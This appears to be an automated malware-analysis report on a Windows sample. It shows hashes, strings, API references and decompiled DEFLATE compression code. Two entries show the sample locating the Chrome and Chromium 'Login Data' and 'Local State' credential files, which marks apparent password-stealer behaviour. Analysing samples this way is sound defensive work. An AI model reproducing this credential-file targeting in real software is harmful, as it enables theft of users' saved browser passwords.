API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamRelease_vsnprintf
String ID: %.2X
API String ID: 3013291059-213608013
Opcode ID: 39854ef80ab4a7fbc3dc680ded39b80eed89874fe177f232a89a79b64462ce99
Instruction ID: 943cf95f321e7325facb401f71863eb3bfed9abde62d642a269049118650948e
Opcode Fuzzy Hash: 39854ef80ab4a7fbc3dc680ded39b80eed89874fe177f232a89a79b64462ce99
Instruction Fuzzy Hash: 7441F5B05083019FD700EF2AC58935FBBE4AF88718F01892EE8C897381D779C5498F96

Uniqueness

Uniqueness Score: -1.00%

Function 00420420, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 217COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420557
_assert.MSVCRT ref: 004206E6

Strings

../nettle-3.5.1/memxor.c, xrefs: 00420548, 004206D7
o, xrefs: 004206CF
n == 1, xrefs: 004206DF
n & 1, xrefs: 00420550

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/memxor.c$n & 1$n == 1$o
API String ID: 1222420520-561580802
Opcode ID: c778598c57938beeda3a03c633ed9cdd53ae4a03349816565a6a334ef414175d
Instruction ID: 3ee2903d3d2c0e63440c59b9d95d43c21fe2c472ea4d5dc2fd0c85ac53de4ac0
Opcode Fuzzy Hash: c778598c57938beeda3a03c633ed9cdd53ae4a03349816565a6a334ef414175d
Instruction Fuzzy Hash: BB919E72A083628FC714CF29D48051AFBE2BFD8314F498A2EE8D59B355D735E945CB82

Uniqueness

Uniqueness Score: -1.00%

Function 0040F281, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F29B

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F2C3

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

LOCALAPPDATA, xrefs: 0040F28D, 0040F2BC
%s\Google\Chrome\User Data\Default\Login Data, xrefs: 0040F2A0
%s\Google\Chrome\User Data\Local State, xrefs: 0040F2C8

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\Google\Chrome\User Data\Default\Login Data$%s\Google\Chrome\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-1755387443
Opcode ID: c10aa0f72dc7a85467b9bbaedbd08abfe9db542f1f8a5a634dc962c54ce382e1
Instruction ID: 71a4254163051be47397212b88bd25a6cdd91ad02d264920333697808a15e276
Opcode Fuzzy Hash: c10aa0f72dc7a85467b9bbaedbd08abfe9db542f1f8a5a634dc962c54ce382e1
Instruction Fuzzy Hash: 8E0108F4408311AAC710BF62E44515EBBE0AF80398F51C83EE4D86B282C37C8599CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F382, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 0040F39C

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

getenv.MSVCRT ref: 0040F3C4

Part of subcall function 00406F1A: MultiByteToWideChar.KERNEL32 ref: 00406F53
Part of subcall function 00406F1A: GetFileAttributesW.KERNEL32 ref: 00406F5E

Strings

LOCALAPPDATA, xrefs: 0040F38E, 0040F3BD
%s\Chromium\User Data\Local State, xrefs: 0040F3C9
%s\Chromium\User Data\Default\Login Data, xrefs: 0040F3A1

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: getenv$AttributesByteCharFileMultiWide_vsnprintf
String ID: %s\Chromium\User Data\Default\Login Data$%s\Chromium\User Data\Local State$LOCALAPPDATA
API String ID: 2228561779-2609310803
Opcode ID: f2f52f8508035ac83624b26196ed5664984cb20092064da57255e7a3486d8653
Instruction ID: 1af54e81e90a1b2e64d1cb376851d72e513c3029c4754ec5bb28f3db25ee8883
Opcode Fuzzy Hash: f2f52f8508035ac83624b26196ed5664984cb20092064da57255e7a3486d8653
Instruction Fuzzy Hash: 8A011AB0408311AAC710BF22E44515EBFE0EF80358F51C83EE4D857282C77C8599CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 004208C0, Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 485COMMON

Download Yara Rule

APIs

_assert.MSVCRT ref: 00420C90
_assert.MSVCRT ref: 00420F11

Strings

../nettle-3.5.1/memxor3.c, xrefs: 00420C81, 00420F02
n == 1, xrefs: 00420C89, 00420F0A

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: ../nettle-3.5.1/memxor3.c$n == 1
API String ID: 1222420520-2001704953
Opcode ID: f62c3d4576d8ad505b0a81f0fa83231c5cc89cc9aafe5267dd7225276671c9f6
Instruction ID: a3441135aa71a6079429eef520cd0e1a6c464effaa05f67e07f9da83f6d0b88a
Opcode Fuzzy Hash: f62c3d4576d8ad505b0a81f0fa83231c5cc89cc9aafe5267dd7225276671c9f6
Instruction Fuzzy Hash: 222288716083A18FC724CF29D49052ABBE1BFC9314F448A6EF9E597356D234EA05CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00415079, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 432
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00415079(void* __eax) {
				int _t306;
				intOrPtr _t307;
				void* _t310;
				int _t312;
				signed int _t314;
				char _t325;
				signed int _t326;
				signed int _t328;
				signed char _t332;
				signed char _t333;
				signed char _t334;
				signed char _t335;
				signed int _t336;
				void* _t339;
				void* _t346;
				signed int _t347;
				void* _t348;
				int _t351;
				char* _t357;
				signed char _t359;
				signed char _t361;
				signed int _t362;
				signed char _t363;
				signed int _t364;
				signed char _t365;
				signed int _t366;
				signed char _t368;
				signed int _t369;
				signed char _t373;
				signed char _t375;
				signed char _t376;
				signed int* _t380;
				void* _t385;
				void* _t386;
				void* _t387;
				signed char _t394;
				signed int _t399;
				signed int _t403;
				signed char _t404;
				signed int _t413;
				signed int _t414;
				signed int _t419;
				intOrPtr _t421;
				signed int _t430;
				signed char _t432;
				signed int _t438;
				void* _t439;
				signed int _t440;
				void* _t442;
				int _t443;
				void* _t444;
				signed int _t446;
				signed int _t447;
				void* _t449;
				intOrPtr* _t450;
				void* _t451;
				char** _t453;

				_t348 = __eax;
				_t450 = _t449 - 0x2bc;
				 *((short*)(__eax + 0x8392)) = 1;
				 *(_t450 + 4) = 0;
				 *_t450 = 0xf;
				E00414976(__eax, 0x120, 0, 0);
				 *(_t450 + 4) = 0;
				 *_t450 = 0xf;
				E00414976(_t348, 0x20, 1, 0);
				_t306 = 0x11e;
				while(1) {
					_t6 = _t306 - 1; // 0x11d
					_t443 = _t6;
					 *(_t450 + 0x20) = _t443;
					if( *((char*)(_t348 + _t306 + 0x8f11)) != 0) {
						break;
					}
					_t306 = _t443;
					if(_t443 != 0x101) {
						continue;
					} else {
					}
					L5:
					_t307 = 0x1e;
					while(1) {
						_t9 = _t307 - 1; // 0x1d
						_t421 = _t9;
						 *((intOrPtr*)(_t450 + 0x24)) = _t421;
						if( *((char*)(_t348 + _t421 + 0x9032)) != 0) {
							break;
						}
						_t307 =  *((intOrPtr*)(_t450 + 0x24));
						if(_t307 != 1) {
							continue;
						} else {
						}
						L10:
						_t444 = _t348 + 0x8f12;
						_t351 =  *(_t450 + 0x20);
						 *((char*)(_t450 + 0x1f)) = 0xff;
						 *(_t450 + 0x14) = 0;
						_t310 = memcpy(_t450 + 0x30, _t444, _t351);
						_t451 = _t450 + 0xc;
						 *(_t451 + 0x2c) = _t310;
						 *(_t451 + 0x28) = 0;
						_t312 = memcpy(_t444 + _t351 + _t351, _t348 + 0x9032,  *(_t451 + 0x24));
						_t446 = 0;
						memset(_t348 + 0x8612, _t312, 0x26 << 0);
						_t453 = _t451 + 0x18;
						_t314 = 0;
						do {
							_t357 =  *((intOrPtr*)(_t453 +  &(_t453[0xa][0x30])));
							_t453[6] = _t357;
							if(_t357 != 0) {
								__eflags = _t314;
								if(_t314 != 0) {
									__eflags = _t314 - 2;
									if(_t314 > 2) {
										__eflags = _t314 - 0xa;
										_t68 = _t446 + 1; // 0x1
										_t439 = _t68;
										_t69 = _t446 + 2; // 0x2
										_t447 = _t69;
										if(_t314 > 0xa) {
											 *((short*)(_t348 + 0x8636)) =  *((short*)(_t348 + 0x8636)) + 1;
											 *((char*)(_t453 + _t446 + 0x170)) = 0x12;
											_t347 = _t314 - 0xb;
											__eflags = _t347;
											_t446 = _t447;
										} else {
											 *((char*)(_t453 + _t446 + 0x170)) = 0x11;
											 *((short*)(_t348 + 0x8634)) =  *((short*)(_t348 + 0x8634)) + 1;
											_t446 = _t447;
											_t347 = _t314 - 3;
										}
										 *(_t453 + _t439 + 0x170) = _t347;
									} else {
										 *(_t348 + 0x8612) =  *(_t348 + 0x8612) + _t314;
										_t440 = 0;
										__eflags = 0;
										_t447 =  &(_t453[0x5c]) + _t446;
										do {
											 *((char*)(_t447 + _t440)) = 0;
											_t440 = _t440 + 1;
											__eflags = _t440 - _t314;
										} while (_t440 != _t314);
										_t446 = _t446 + _t440;
									}
								}
								_t394 = _t453[7];
								__eflags = _t453[6] - _t394;
								if(_t453[6] == _t394) {
									_t453[5] =  &(_t453[5][1]);
									_t314 = 0;
									__eflags = _t453[5] - 6;
									if(__eflags == 0) {
										 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
										_t118 = _t446 + 1; // 0x1
										 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
										_t446 = _t446 + 2;
										__eflags = _t446;
										 *((char*)(_t453 + _t118 + 0x170)) = 3;
										goto L39;
									}
								} else {
									__eflags = _t453[5];
									if(__eflags != 0) {
										__eflags = _t453[5] - 2;
										if(_t453[5] > 2) {
											 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
											_t98 = _t446 + 1; // 0x1
											 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
											_t446 = _t446 + 2;
											_t419 = _t453[5] - 3;
											__eflags = _t419;
											 *(_t453 + _t98 + 0x170) = _t419;
										} else {
											 *((intOrPtr*)(_t348 + 0x8612 + (_t394 & 0x000000ff) * 2)) =  *((intOrPtr*)(_t348 + 0x8612 + (_t394 & 0x000000ff) * 2)) + _t453[5];
											_t346 = 0;
											_t438 =  &(_t453[0x5c]) + _t446;
											__eflags = _t438;
											do {
												 *((char*)(_t438 + _t346)) = _t453[7];
												_t346 = _t346 + 1;
												__eflags = _t346 - _t453[5];
											} while (__eflags != 0);
											_t446 = _t446 + _t346;
										}
									}
									 *((short*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) =  *((short*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) + 1;
									 *((char*)(_t453 + _t446 + 0x170)) = _t453[6];
									_t446 = _t446 + 1;
									L39:
									_t453[5] = 0;
									goto L40;
								}
							} else {
								if(_t453[5] != 0) {
									if(_t453[5] > 2) {
										 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
										_t50 = _t446 + 1; // 0x1
										 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
										_t446 = _t446 + 2;
										_t399 = _t453[5] - 3;
										__eflags = _t399;
										 *(_t453 + _t50 + 0x170) = _t399;
									} else {
										_t447 =  &(_t453[0x5c]) + _t446;
										 *((intOrPtr*)(_t348 + 0x8612 + (_t453[7] & 0x000000ff) * 2)) =  *((intOrPtr*)(_t348 + 0x8612 + (_t453[7] & 0x000000ff) * 2)) + _t453[5];
										_t442 = 0;
										do {
											 *((char*)(_t447 + _t442)) = _t453[7];
											_t442 = _t442 + 1;
										} while (_t442 != _t453[5]);
										_t446 = _t446 + _t442;
									}
								}
								_t314 = _t314 + 1;
								_t453[5] = 0;
								if(_t314 == 0x8a) {
									_t56 = _t446 + 1; // -1
									 *((char*)(_t453 + _t446 + 0x170)) = 0x12;
									 *((short*)(_t348 + 0x8636)) =  *((short*)(_t348 + 0x8636)) + 1;
									_t446 = _t446 + 2;
									 *((char*)(_t453 + _t56 + 0x170)) = 0x7f;
									L40:
									_t314 = 0;
								}
							}
							_t453[0xa] =  &(_t453[0xa][1]);
							_t453[7] = _t453[6];
						} while (_t453[0xb] > _t453[0xa]);
						if(_t453[5] == 0) {
							__eflags = _t314;
							if(__eflags != 0) {
								__eflags = _t314 - 2;
								if(_t314 > 2) {
									__eflags = _t314 - 0xa;
									_t159 = _t446 + 1; // 0x1
									_t385 = _t159;
									_t160 = _t446 + 2; // 0x2
									_t413 = _t160;
									if(__eflags > 0) {
										 *((short*)(_t348 + 0x8636)) =  *((short*)(_t348 + 0x8636)) + 1;
										 *((char*)(_t453 + _t446 + 0x170)) = 0x12;
										_t336 = _t314 - 0xb;
										__eflags = _t336;
										_t446 = _t413;
									} else {
										 *((char*)(_t453 + _t446 + 0x170)) = 0x11;
										 *((short*)(_t348 + 0x8634)) =  *((short*)(_t348 + 0x8634)) + 1;
										_t446 = _t413;
										_t336 = _t314 - 3;
									}
									 *(_t453 + _t385 + 0x170) = _t336;
								} else {
									 *(_t348 + 0x8612) =  *(_t348 + 0x8612) + _t314;
									_t386 = _t453 + _t446 + 0x170;
									_t414 = 0;
									__eflags = 0;
									do {
										 *((char*)(_t386 + _t414)) = 0;
										_t414 = _t414 + 1;
										__eflags = _t414 - _t314;
									} while (__eflags != 0);
									_t446 = _t446 + _t414;
								}
							}
						} else {
							if(_t453[5] > 2) {
								_t147 = _t446 + 1; // 0x1
								 *((char*)(_t453 + _t446 + 0x170)) = 0x10;
								 *((short*)(_t348 + 0x8632)) =  *((short*)(_t348 + 0x8632)) + 1;
								_t446 = _t446 + 2;
								 *((char*)(_t453 + _t147 + 0x170)) = _t453[5] - 3;
							} else {
								_t387 = _t453 + _t446 + 0x170;
								 *((intOrPtr*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) =  *((intOrPtr*)(_t348 + 0x8612 + (_t453[6] & 0x000000ff) * 2)) + _t453[5];
								_t339 = 0;
								do {
									 *((char*)(_t387 + _t339)) = _t453[6];
									_t339 = _t339 + 1;
									_t472 = _t453[5] - _t339;
								} while (_t453[5] != _t339);
								_t446 =  &(_t453[5][_t446]);
							}
						}
						_t453[1] = 0;
						 *_t453 = 7;
						E00414976(_t348, 0x13, 2, _t472);
						_t359 =  *(_t348 + 0x44);
						 *(_t348 + 0x48) =  *(_t348 + 0x48) | 0x00000002 << _t359;
						 *(_t348 + 0x44) = _t359 + 2;
						while(1) {
							_t361 =  *(_t348 + 0x44);
							if(_t361 <= 7) {
								break;
							}
							_t335 =  *(_t348 + 0x30);
							if(_t335 <  *((intOrPtr*)(_t348 + 0x34))) {
								 *(_t348 + 0x30) = _t335 + 1;
								 *_t335 =  *(_t348 + 0x48);
							}
							 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
							 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
						}
						 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t453[8] - 0x00000101 << _t361;
						_t362 = _t361 + 5;
						__eflags = _t362;
						 *(_t348 + 0x44) = _t362;
						while(1) {
							_t363 =  *(_t348 + 0x44);
							__eflags = _t363 - 7;
							if(_t363 <= 7) {
								break;
							}
							_t334 =  *(_t348 + 0x30);
							__eflags = _t334 -  *((intOrPtr*)(_t348 + 0x34));
							if(_t334 <  *((intOrPtr*)(_t348 + 0x34))) {
								 *(_t348 + 0x30) = _t334 + 1;
								 *_t334 =  *(_t348 + 0x48);
							}
							 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
							 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
						}
						 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t453[9] - 0x00000001 << _t363;
						_t364 = _t363 + 5;
						__eflags = _t364;
						 *(_t348 + 0x44) = _t364;
						while(1) {
							_t365 =  *(_t348 + 0x44);
							__eflags = _t365 - 7;
							if(_t365 <= 7) {
								break;
							}
							_t333 =  *(_t348 + 0x30);
							__eflags = _t333 -  *((intOrPtr*)(_t348 + 0x34));
							if(_t333 <  *((intOrPtr*)(_t348 + 0x34))) {
								 *(_t348 + 0x30) = _t333 + 1;
								 *_t333 =  *(_t348 + 0x48);
							}
							 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
							 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
						}
						_t325 = 0x12;
						while(1) {
							_t214 = _t325 + 0x424c9c; // 0x101000f
							_t403 =  *_t214 & 0x000000ff;
							__eflags =  *((char*)(_t348 + _t403 + 0x9152));
							if( *((char*)(_t348 + _t403 + 0x9152)) != 0) {
								break;
							}
							_t325 = _t325 - 1;
							__eflags = _t325 - 0xffffffff;
							if(_t325 != 0xffffffff) {
								continue;
							} else {
								_t404 = 4;
								L76:
								_t217 = _t404 - 4; // 0x0
								_t326 = _t217;
							}
							L77:
							 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t326 << _t365;
							_t366 = _t365 + 4;
							__eflags = _t366;
							 *(_t348 + 0x44) = _t366;
							while(1) {
								__eflags =  *(_t348 + 0x44) - 7;
								if( *(_t348 + 0x44) <= 7) {
									break;
								}
								_t332 =  *(_t348 + 0x30);
								__eflags = _t332 -  *((intOrPtr*)(_t348 + 0x34));
								if(_t332 <  *((intOrPtr*)(_t348 + 0x34))) {
									 *(_t348 + 0x30) = _t332 + 1;
									 *_t332 =  *(_t348 + 0x48);
								}
								 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
								 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
							}
							_t328 = 0;
							__eflags = 0;
							while(1) {
								_t231 = _t328 + 0x424c9c; // 0x121110
								_t430 =  *(_t348 + ( *_t231 & 0x000000ff) + 0x9152) & 0x000000ff;
								__eflags = _t430 - 7;
								if(_t430 > 7) {
									break;
								}
								_t368 =  *(_t348 + 0x44);
								 *(_t348 + 0x48) =  *(_t348 + 0x48) | _t430 << _t368;
								_t369 = _t368 + 3;
								__eflags = _t369;
								 *(_t348 + 0x44) = _t369;
								while(1) {
									__eflags =  *(_t348 + 0x44) - 7;
									if( *(_t348 + 0x44) <= 7) {
										break;
									}
									_t432 =  *(_t348 + 0x30);
									__eflags = _t432 -  *((intOrPtr*)(_t348 + 0x34));
									if(_t432 <  *((intOrPtr*)(_t348 + 0x34))) {
										 *(_t348 + 0x30) = _t432 + 1;
										 *_t432 =  *(_t348 + 0x48);
									}
									 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
									 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
								}
								_t328 = _t328 + 1;
								__eflags = _t328 - _t404;
								if(_t328 != _t404) {
									continue;
								} else {
									_t453[5] = 0;
									while(1) {
										L98:
										__eflags = _t446 - _t453[5];
										if(_t446 <= _t453[5]) {
											break;
										}
										_t328 = _t453[5];
										_t265 = _t328 + 1; // 0x1
										_t447 = _t265;
										_t404 =  *(_t453 + _t447 + 0x16f) & 0x000000ff;
										__eflags = _t404 - 0x12;
										if(_t404 <= 0x12) {
											_t432 =  *(_t348 + 0x8cd2 + _t404 * 2) & 0x0000ffff;
											_t453[6] =  *(_t348 + _t404 + 0x9152) & 0x000000ff;
											_t328 = 1 << _t453[6];
											__eflags = _t432;
											if(_t432 <= 0) {
												_t373 =  *(_t348 + 0x44);
												_t272 = _t348 + 0x48;
												 *_t272 =  *(_t348 + 0x48) | _t432 << _t373;
												__eflags =  *_t272;
												 *(_t348 + 0x44) = _t373 + _t453[6];
												while(1) {
													_t432 =  *(_t348 + 0x44);
													__eflags = _t432 - 7;
													if(_t432 <= 7) {
														break;
													}
													_t380 =  *(_t348 + 0x30);
													__eflags = _t380 -  *((intOrPtr*)(_t348 + 0x34));
													if(_t380 <  *((intOrPtr*)(_t348 + 0x34))) {
														_t328 =  *(_t348 + 0x48);
														 *(_t348 + 0x30) =  &(_t380[0]);
														 *_t380 = _t328;
													}
													 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
													 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
												}
												__eflags = _t404 - 0xf;
												if(_t404 <= 0xf) {
													_t453[5] = _t447;
													continue;
												} else {
													_t404 =  *((char*)(_t404 + "_HUFF_SYMBOLS_2"));
													_t447 =  *(_t453 + _t447 + 0x170) & 0x000000ff;
													_t453[5] = _t453[5] + 2;
													_t328 = 1 << _t404;
													__eflags = _t447;
													if(_t447 <= 0) {
														goto L96;
													} else {
														_t453[2] = 0xb7c;
														goto L94;
													}
												}
												goto L116;
											} else {
												_t453[2] = 0xb79;
												L94:
												_t453[1] = 0x424620;
												 *_t453 = "bits <= ((1U << len) - 1U)";
												goto L95;
											}
										} else {
											_t453[2] = 0xb78;
											_t453[1] = 0x424620;
											 *_t453 = "code < TDEFL_MAX_HUFF_SYMBOLS_2";
											L95:
											L0041F7E4();
											L96:
											_t375 = _t432;
											_t432 = _t432 + _t404;
											_t259 = _t348 + 0x48;
											 *_t259 =  *(_t348 + 0x48) | _t447 << _t375;
											__eflags =  *_t259;
											 *(_t348 + 0x44) = _t432;
											while(1) {
												__eflags =  *(_t348 + 0x44) - 7;
												if( *(_t348 + 0x44) <= 7) {
													goto L98;
												}
												_t376 =  *(_t348 + 0x30);
												__eflags = _t376 -  *((intOrPtr*)(_t348 + 0x34));
												if(_t376 <  *((intOrPtr*)(_t348 + 0x34))) {
													 *(_t348 + 0x30) = _t376 + 1;
													 *_t376 =  *(_t348 + 0x48);
												}
												 *(_t348 + 0x48) =  *(_t348 + 0x48) >> 8;
												 *(_t348 + 0x44) =  *(_t348 + 0x44) - 8;
											}
										}
										L116:
									}
									return _t328;
									goto L116;
								}
								goto L98;
							}
							_t453[2] = 0xb73;
							goto L94;
						}
						__eflags = _t325 - 2;
						_t301 = _t325 + 1; // 0x13
						_t404 = _t301;
						if(_t325 > 2) {
							goto L76;
						} else {
							_t326 = 0;
							_t404 = 4;
							goto L77;
						}
						goto L116;
					}
					 *((intOrPtr*)(_t450 + 0x24)) = _t307;
					goto L10;
				}
				 *(_t450 + 0x20) = _t306;
				goto L5;
			}

APIs

_assert.MSVCRT ref: 004155C8

Strings

bits <= ((1U << len) - 1U), xrefs: 004155C1
code < TDEFL_MAX_HUFF_SYMBOLS_2, xrefs: 00415611

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assert
String ID: bits <= ((1U << len) - 1U)$code < TDEFL_MAX_HUFF_SYMBOLS_2
API String ID: 1222420520-1705079405
Opcode ID: 46893e09e37b25dd200b0db0f7321bbeb65247fb8bfb45dea1f34a14322b6770
Instruction ID: 8934405eb0176573ac8fe7b21ac65539928ae6525602ef26ebf357b260492e82
Opcode Fuzzy Hash: 46893e09e37b25dd200b0db0f7321bbeb65247fb8bfb45dea1f34a14322b6770
Instruction Fuzzy Hash: 7712B131508741CBCB15CF28C0842EABBE2FFD5304F5849AED8994B346E779D989CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00415ABF, Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 396
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00415ABF(intOrPtr* __eax, intOrPtr __edx) {
				intOrPtr _v32;
				signed char _v36;
				intOrPtr _v52;
				int _v56;
				signed int _t261;
				void* _t262;
				signed char _t263;
				void* _t264;
				signed int _t271;
				int _t274;
				void* _t275;
				signed int _t279;
				void* _t280;
				void* _t281;
				void* _t282;
				void* _t283;
				signed char _t289;
				void* _t290;
				void* _t291;
				void* _t292;
				void* _t293;
				intOrPtr* _t298;
				signed char _t300;
				signed char _t302;
				intOrPtr* _t308;
				signed char _t313;
				signed char _t317;
				signed char _t319;
				signed int _t325;
				signed char _t326;
				signed char _t328;
				signed int _t345;
				char* _t348;
				intOrPtr _t349;
				signed int _t355;
				void* _t366;
				void* _t367;
				signed int _t372;
				void* _t383;
				void* _t384;
				signed char _t389;
				void* _t390;
				void* _t393;
				void* _t404;
				void* _t405;
				intOrPtr _t407;
				void* _t408;
				unsigned int _t409;
				int _t410;
				signed int _t411;
				void* _t412;
				char** _t413;
				char** _t415;

				_t298 = __eax;
				_t261 = 0;
				_t413 = _t412 - 0x2c;
				_v32 = __edx;
				if(( *(__eax + 0xa) & 0x00000008) != 0) {
					_t261 = ( *((intOrPtr*)(__eax + 0x1c)) -  *((intOrPtr*)(__eax + 0x40)) & 0xffffff00 |  *((intOrPtr*)(__eax + 0x1c)) -  *((intOrPtr*)(__eax + 0x40)) -  *((intOrPtr*)(__eax + 0x24)) < 0x00000000) & 0x000000ff;
				}
				if( *_t298 != 0) {
					L5:
					_t405 = _t298 + 0x39272;
					L6:
					 *(_t298 + 0x30) = _t405;
					 *((intOrPtr*)(_t298 + 0x34)) = _t405 + 0x14cbc;
					if( *(_t298 + 0x5c) == 0) {
						 *(_t298 + 0x58) = 0;
						 *(_t298 + 0x5c) = 0;
						 *( *(_t298 + 0x2c)) = ( *( *(_t298 + 0x2c)) & 0x000000ff) >>  *(_t298 + 0x38);
						 *((intOrPtr*)(_t298 + 0x28)) =  *((intOrPtr*)(_t298 + 0x28)) - (0 |  *(_t298 + 0x38) == 0x00000008);
						if(( *(_t298 + 9) & 0x00000010) != 0) {
							if( *((intOrPtr*)(_t298 + 0x64)) != 0) {
								goto L9;
							}
							_t326 =  *(_t298 + 0x44);
							 *(_t298 + 0x48) =  *(_t298 + 0x48) | 0x00000078 << _t326;
							 *(_t298 + 0x44) = _t326 + 8;
							while(1) {
								_t328 =  *(_t298 + 0x44);
								if(_t328 <= 7) {
									break;
								}
								_t384 =  *(_t298 + 0x30);
								if(_t384 <  *((intOrPtr*)(_t298 + 0x34))) {
									 *(_t298 + 0x30) = _t384 + 1;
									 *_t384 =  *(_t298 + 0x48);
								}
								 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
								 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
							}
							 *(_t298 + 0x48) =  *(_t298 + 0x48) | 0x00000001 << _t328;
							 *(_t298 + 0x44) = _t328 + 8;
							while( *(_t298 + 0x44) > 7) {
								_t383 =  *(_t298 + 0x30);
								if(_t383 <  *((intOrPtr*)(_t298 + 0x34))) {
									 *(_t298 + 0x30) = _t383 + 1;
									 *_t383 =  *(_t298 + 0x48);
								}
								 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
								 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
							}
						}
						L9:
						_t300 =  *(_t298 + 0x44);
						 *(_t298 + 0x48) =  *(_t298 + 0x48) | (0 | _v32 == 0x00000004) << _t300;
						 *(_t298 + 0x44) = _t300 + 1;
						while(1) {
							_t389 =  *(_t298 + 0x44);
							_v36 = _t389;
							_t390 =  *(_t298 + 0x30);
							if(_t389 <= 7) {
								break;
							}
							if(_t390 <  *((intOrPtr*)(_t298 + 0x34))) {
								 *(_t298 + 0x30) = _t390 + 1;
								 *_t390 =  *(_t298 + 0x48);
							}
							 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
							 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
						}
						_t409 =  *(_t298 + 0x48);
						if(_t261 != 0) {
							_t262 = 0;
							L32:
							if( *((intOrPtr*)(_t298 + 0x1c)) -  *((intOrPtr*)(_t298 + 0x40)) >  *((intOrPtr*)(_t298 + 0x24))) {
								L59:
								if(_t262 == 0) {
									 *(_t298 + 0x30) = _t390;
									 *(_t298 + 0x48) = _t409;
									 *(_t298 + 0x44) = _v36;
									E004156D4(_t298, 1);
								}
								L61:
								if(_v32 != 0) {
									if(_v32 != 4) {
										 *(_t298 + 0x44) =  *(_t298 + 0x44) + 3;
										while(1) {
											_t263 =  *(_t298 + 0x44);
											if(_t263 <= 7) {
												break;
											}
											_t281 =  *(_t298 + 0x30);
											if(_t281 <  *((intOrPtr*)(_t298 + 0x34))) {
												 *(_t298 + 0x30) = _t281 + 1;
												 *_t281 =  *(_t298 + 0x48);
											}
											 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
											 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
										}
										if(_t263 != 0) {
											 *(_t298 + 0x44) = 8;
											while( *(_t298 + 0x44) > 7) {
												_t280 =  *(_t298 + 0x30);
												if(_t280 <  *((intOrPtr*)(_t298 + 0x34))) {
													 *(_t298 + 0x30) = _t280 + 1;
													 *_t280 =  *(_t298 + 0x48);
												}
												 *(_t298 + 0x48) =  *(_t298 + 0x48) >> 8;
												 *(_t298 + 0x44) =  *(_t298 + 0x44) - 8;
											}
										}
										_t264 = 2;
										_t345 = 0;
										do {
											_t302 =  *(_t298 + 0x44);
											 *(_t298 + 0x48) =  *(_t298 + 0x48) | _t345 << _t302;
											 *(_t298 + 0x44) = _t302 + 0x10;
											while( *(_t298 + 0x44) > 7) {
